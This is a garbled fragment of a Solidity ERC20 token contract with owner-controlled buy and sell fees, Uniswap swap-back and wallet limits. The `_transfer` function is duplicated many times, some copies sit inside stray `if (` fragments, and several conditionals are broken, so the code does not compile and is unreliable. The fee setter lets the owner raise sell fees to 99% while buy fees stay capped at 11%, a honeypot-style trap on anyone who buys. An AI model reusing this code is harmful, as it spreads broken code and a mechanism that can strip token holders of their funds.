newAmount <= (totalSupply() * 5) / 1000,
"Swap amount cannot be higher than 0.5% total supply."
);
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 1) / 1000) / 1e18,
"Cannot set maxTransactionAmount lower than 0.1%"
);
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 5) / 1000) / 1e18,
"Cannot set maxWallet lower than 0.5%"
);
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function updateSwapEnabled(bool enabled) external onlyOwner {
swapEnabled = enabled;
}
function updateBuyFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee
) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 11, "Must keep fees at 11% or less");
}
function updateSellFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee
) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 99, "Must keep fees at 99% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(
pair != uniswapV2Pair,
"The pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet)
external
onlyOwner
{
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
if (
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
else if (
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
} else if (!_isExcludedMaxTransactionAmount[to]) {
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
